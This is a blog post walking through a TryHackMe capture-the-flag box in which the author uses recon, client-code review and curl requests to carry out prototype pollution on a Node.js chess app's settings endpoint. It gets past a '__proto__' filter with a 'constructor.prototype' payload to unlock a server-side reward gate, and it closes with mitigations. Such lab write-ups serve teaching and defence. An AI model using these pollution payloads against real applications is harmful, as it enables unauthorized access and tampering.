DEV Community

Cover image for TryHackMe : Fool's Mate Revenge
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

TryHackMe : Fool's Mate Revenge

Summary

This is the sequel to the original Endgame Trainer box. The developer clearly read that writeup - the client-side "don't let the player actually win" gate is gone entirely, and the win condition is now enforced server-side through a session.config.unlocked flag that has to be true before /api/move will hand back the flag on checkmate. Playing the winning move directly against the API (the trick that worked last time) now just returns a taunting "no reward for you" message.

The new attack surface is a /api/settings endpoint added for board theme/piece-set/animation preferences. It merges whatever JSON object the client sends into the session's settings without filtering dangerous key names. Sending __proto__.unlocked didn't get through, but pivoting to the constructor.prototype.unlocked gadget did - it polluted the global Object.prototype with unlocked: true. Since the reward-gate check just reads session.config.unlocked and JavaScript objects fall back to their prototype chain for properties they don't own, the polluted prototype satisfied the check for every object in the app, including the session's config. From there, resetting the board and replaying the exact same mate-in-one move returned the real flag.

Box IP referred to below as machine-ip, running on port 3000 this time.


Recon

Nmap

nmap -A -Pn machine-ip -o nmap
Enter fullscreen mode Exit fullscreen mode

Nmap output

Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-22 06:31 -0400
Nmap scan report for machine-ip
Host is up (0.069s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:21:f3:54:41:4d:9a:5b:40:2d:fd:07:24:7c:0f:38 (ECDSA)
|_  256 00:86:2a:c8:7d:41:c2:3b:09:33:cf:d2:9f:eb:40:59 (ED25519)
3000/tcp open  http    Node.js Express framework
|_http-title: "Endgame Trainer"

Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3306/tcp)
HOP RTT      ADDRESS
1   56.44 ms 192.168.128.1
2   ...
3   56.88 ms machine-ip

Nmap done: 1 IP address (1 host up) scanned in 31.90 seconds
Enter fullscreen mode Exit fullscreen mode

Same shape as before: SSH on 22, and the "Endgame Trainer" Express app, just moved to port 3000 this time.

Looking at the page

curl http://machine-ip:3000/
Enter fullscreen mode Exit fullscreen mode

The page is the same mate-in-one chessboard as the original box, but there's a new Preferences card in the sidebar - board theme, piece set, and move animation speed, saved with a "Save preferences" button. That panel didn't exist last time, and it's the first thing worth paying attention to since it's new surface area.

Pulling down the client code

curl http://machine-ip:3000/js/app.js -o app.js
cat app.js
Enter fullscreen mode Exit fullscreen mode

Key excerpt from app.js

import { Chess } from '../vendor/chess.js';

const START_FEN = '6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1';
...
function doMove(from, to) {
  if (!isLegalTarget(from, to)) return false;
  const promotion = needsPromotion(from, to) ? 'q' : undefined;
  sendMove(from, to, promotion);
  return true;
}

async function sendMove(from, to, promotion) {
  locked = true;
  let res, data;
  try {
    res = await fetch('/api/move', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ from, to, promotion: promotion || undefined })
    });
    data = await res.json();
  } catch (e) {
    locked = false;
    renderFull();
    return;
  }
  ...
}

function finalize(data) {
  refreshHighlights();
  updateStatus();
  if (data.flag) {
    showFlag(data.flag);
  } else if (data.locked) {
    showSystemNotice(data.message || 'Checkmate! Reward is locked for this account.');
  }
}
Enter fullscreen mode Exit fullscreen mode

The important difference from the first box: preMoveCheck() is gone completely. There's no more client-side probe blocking the winning move - doMove() just calls sendMove() unconditionally. That confirms the checkmate gate moved server-side this time, and finalize() shows the server can respond with either a flag or a locked state with a message.

Preferences excerpt from app.js

function applyPrefs(p) {
  if (!p) return;
  if (p.theme) {
    document.body.dataset.theme = p.theme;
    themeSelect.value = p.theme;
  }
  if (p.pieceSet) {
    document.body.dataset.pieceSet = p.pieceSet;
    pieceSetSelect.value = p.pieceSet;
  }
  if (typeof p.animationMs !== 'undefined') {
    document.documentElement.style.setProperty('--anim', Number(p.animationMs) + 'ms');
    animSelect.value = String(p.animationMs);
  }
}

async function savePrefs() {
  const prefs = {
    theme: themeSelect.value,
    pieceSet: pieceSetSelect.value,
    animationMs: Number(animSelect.value)
  };
  applyPrefs(prefs);
  try {
    const res = await fetch('/api/settings', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify(prefs)
    });
    const data = await res.json();
    if (data && data.preferences) applyPrefs(data.preferences);
  } catch (e) {}
  toast('Preferences saved');
}

async function loadState() {
  try {
    const res = await fetch('/api/state');
    const data = await res.json();
    if (data && data.fen) game.load(data.fen);
  } catch (e) {}
  renderFull();
  updateStatus();
}
Enter fullscreen mode Exit fullscreen mode

So there are four endpoints in play: /api/state, /api/move, /api/reset, and the new /api/settings. A couple of quick greps confirmed that's the full API surface:

grep -R api .
Enter fullscreen mode Exit fullscreen mode

Output

./app.js:    res = await fetch('/api/move', {
./app.js:    const res = await fetch('/api/reset', { method: 'POST' });
./app.js:    const res = await fetch('/api/settings', {
./app.js:    const res = await fetch('/api/state');
Enter fullscreen mode Exit fullscreen mode

Poking at the endpoints directly

A couple of sanity checks on /api/move before touching the session state:

curl http://machine-ip:3000/api/move
Enter fullscreen mode Exit fullscreen mode

Output



<title>Error</title>
<pre>Cannot GET /api/move</pre>

Enter fullscreen mode Exit fullscreen mode
curl -X POST http://machine-ip:3000/api/move
Enter fullscreen mode Exit fullscreen mode

Output

{"ok":false,"error":"from and to are required"}
Enter fullscreen mode Exit fullscreen mode

POST-only endpoint, as expected, with basic input validation. I also poked around for a leftover game.js (some builds split the chess logic differently), but nothing there:

curl http://machine-ip:3000/game.js/
curl http://machine-ip:3000/js/game.js/
curl http://machine-ip:3000/js/game.js
Enter fullscreen mode Exit fullscreen mode

Output (all three, all 404)



<title>Error</title>
<pre>Cannot GET /js/game.js</pre>

Enter fullscreen mode Exit fullscreen mode

Dead end - nothing extra to find there, so back to the actual API.


Exploitation

Confirming the checkmate gate is server-side now

Grabbed a session cookie and checked the board state:

curl -c cookies.txt http://machine-ip:3000/api/state
Enter fullscreen mode Exit fullscreen mode

Output

{"ok":true,"fen":"6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1","status":"ongoing","turn":"w"}
Enter fullscreen mode Exit fullscreen mode

Same starting position as before - rook on a1, king boxed in on g8. Played the same winning move that worked on the original box:

curl -b cookies.txt -X POST http://machine-ip:3000/api/move \
  -H 'Content-Type: application/json' \
  -d '{"from":"a1","to":"a8"}'
Enter fullscreen mode Exit fullscreen mode

Output

{"ok":true,"move":"a1a8","fen":"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1","status":"checkmate","turn":"b","winner":"white","locked":true,"message":"Checkmate! No reward for you.","reason":"reward gate closed: session.config.unlocked is not set"}
Enter fullscreen mode Exit fullscreen mode

That reason field is doing us a big favor here - it names the exact server-side condition guarding the flag: session.config.unlocked. Just calling the API directly, which was the whole trick last time, no longer works; the server now independently checks a flag on the session before releasing the reward.

Tried an obviously illegal move too, just to confirm normal move validation is still intact server-side:

curl -b cookies.txt -X POST http://machine-ip:3000/api/move \
  -H 'Content-Type: application/json' \
  -d '{"from":"a1","to":"h8"}'
Enter fullscreen mode Exit fullscreen mode

Output

{"ok":false,"error":"illegal move","fen":"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1"}
Enter fullscreen mode Exit fullscreen mode

Good - the move engine itself is solid. The only path in is getting session.config.unlocked to be truthy some other way. That points straight at /api/settings, the one endpoint that takes an arbitrary-ish JSON object from the client and merges it into session-side state.

Trying to set unlocked directly

curl -b cookies.txt -X POST http://machine-ip:3000/api/settings \
  -H 'Content-Type: application/json' \
  -d '{"theme":"forest","pieceSet":"classic","animationMs":180,"unlocked":true}'
Enter fullscreen mode Exit fullscreen mode

Output

{"ok":true,"preferences":{"theme":"forest","pieceSet":"classic","animationMs":180}}
Enter fullscreen mode Exit fullscreen mode

The response only ever echoes back the three known preference fields, so a plain unlocked key in the body is either ignored outright or stored somewhere that isn't session.config. Either way it's not reflected, so time to see whether the merge itself can be abused instead of just its whitelist.

First prototype pollution attempt - __proto__

curl -b cookies.txt -X POST http://machine-ip:3000/api/settings \
  -H 'Content-Type: application/json' \
  -d '{"theme":"forest","__proto__":{"unlocked":true}}'
Enter fullscreen mode Exit fullscreen mode

Output

{"ok":true,"preferences":{"theme":"forest","pieceSet":"classic","animationMs":180}}
Enter fullscreen mode Exit fullscreen mode

Reset the board and re-tried the mate to check if that pollution stuck:

curl -b cookies.txt -X POST http://machine-ip:3000/api/reset
curl -b cookies.txt -X POST http://machine-ip:3000/api/move \
  -H 'Content-Type: application/json' \
  -d '{"from":"a1","to":"a8"}'
Enter fullscreen mode Exit fullscreen mode

Output

{"ok":true,"fen":"6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1","status":"ongoing","turn":"w"}
{"ok":true,"move":"a1a8","fen":"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1","status":"checkmate","turn":"b","winner":"white","locked":true,"message":"Checkmate! No reward for you.","reason":"reward gate closed: session.config.unlocked is not set"}
Enter fullscreen mode Exit fullscreen mode

Still locked. __proto__ as a literal JSON key is a well-known prototype pollution vector, but it's also well-known enough that a lot of merge utilities (or JSON.parse + certain frameworks) special-case and strip it. That's most likely what happened here - the key was filtered out before the merge ever saw it.

Second attempt - constructor.prototype

__proto__ isn't the only way to reach an object's prototype. constructor.prototype points at the same place and is filtered far less often, since it looks like an ordinary nested object to naive sanitization:

curl -b cookies.txt -X POST http://machine-ip:3000/api/settings \
  -H 'Content-Type: application/json' \
  -d '{"theme":"forest","constructor":{"prototype":{"unlocked":true}}}'
Enter fullscreen mode Exit fullscreen mode

Output

{"ok":true,"preferences":{"theme":"forest","pieceSet":"classic","animationMs":180}}
Enter fullscreen mode Exit fullscreen mode

Same generic-looking response as always - the endpoint never confirms pollution either way. Reset and replayed the mate one more time to check:

curl -b cookies.txt -X POST http://machine-ip:3000/api/reset
curl -b cookies.txt -X POST http://machine-ip:3000/api/move \
  -H 'Content-Type: application/json' \
  -d '{"from":"a1","to":"a8"}'
Enter fullscreen mode Exit fullscreen mode

Output

{"ok":true,"fen":"6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1","status":"ongoing","turn":"w"}
{"ok":true,"move":"a1a8","fen":"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1","status":"checkmate","turn":"b","winner":"white","flag":"[REDACTED]"}
Enter fullscreen mode Exit fullscreen mode

That's it - no more locked, no more taunting message, just the flag straight in the response. The constructor.prototype.unlocked payload polluted the global Object.prototype with unlocked: true. From that point on, any object in the app - including the session's config object - that doesn't have its own unlocked property falls back through the prototype chain and finds the polluted one, so session.config.unlocked reads as true everywhere, satisfying the reward gate on the very next checkmate.


Key vulnerabilities

  1. Prototype pollution via unsanitized object merge in /api/settings. The settings endpoint merges the client-supplied JSON body into session-side state (likely via something like Object.assign, a recursive merge helper, or a naive deep-merge library) without rejecting dangerous key paths. It filtered the well-known __proto__ key but missed the equivalent constructor.prototype gadget, allowing arbitrary properties to be written onto the global Object.prototype.
  2. Security decision (unlocked) implemented as a prototype-chain-readable flag. Because the reward gate is just session.config.unlocked with no check for whether that property is the object's own property (e.g. no Object.hasOwn / hasOwnProperty check), polluting Object.prototype was enough to flip the flag for every session on the app, not just the attacker's own state.

Attack chain

  1. Nmap finds the same Endgame Trainer Express app, now on port 3000.
  2. The client-side "block the winning move" logic from the original box has been removed - checking /js/app.js confirms doMove() submits any legal move unconditionally.
  3. Replaying the previous exploit (POST /api/move with the mate-in-one directly) now succeeds as a legal chess move but is refused by a new server-side reward gate: session.config.unlocked is not set.
  4. The newly-added /api/settings endpoint merges client-supplied JSON into session state. A __proto__-based pollution attempt is filtered, but pivoting to the constructor.prototype.unlocked gadget gets through undetected.
  5. That pollutes the global Object.prototype with unlocked: true, which the reward-gate check inherits through the prototype chain.
  6. Resetting the board and replaying the exact same mate-in-one move (a1 to a8) now passes the gate and returns the flag.

Mitigations

  • Sanitize all dangerous key names before any recursive merge or Object.assign-style operation on user-controlled input - at minimum block __proto__, constructor, and prototype at every level of the object, not just the top level or the most obvious name.
  • Prefer safe merge utilities that use Object.create(null) for intermediate objects, or that explicitly copy only an allow-listed set of keys, instead of hand-rolled recursive merges.
  • Never gate a security-relevant decision on a property that can be satisfied via the prototype chain. Use Object.hasOwn(session.config, 'unlocked') (or equivalent) so an inherited/polluted property can't silently satisfy the check.
  • Consider freezing sensitive objects/prototypes (Object.freeze(Object.prototype)) at app startup as defense-in-depth against this exact class of bug.
  • As with the original box, keep the actual reward/flag issuance logic entirely server-side and independent of anything the client can influence beyond the legitimate move itself.

Top comments (0)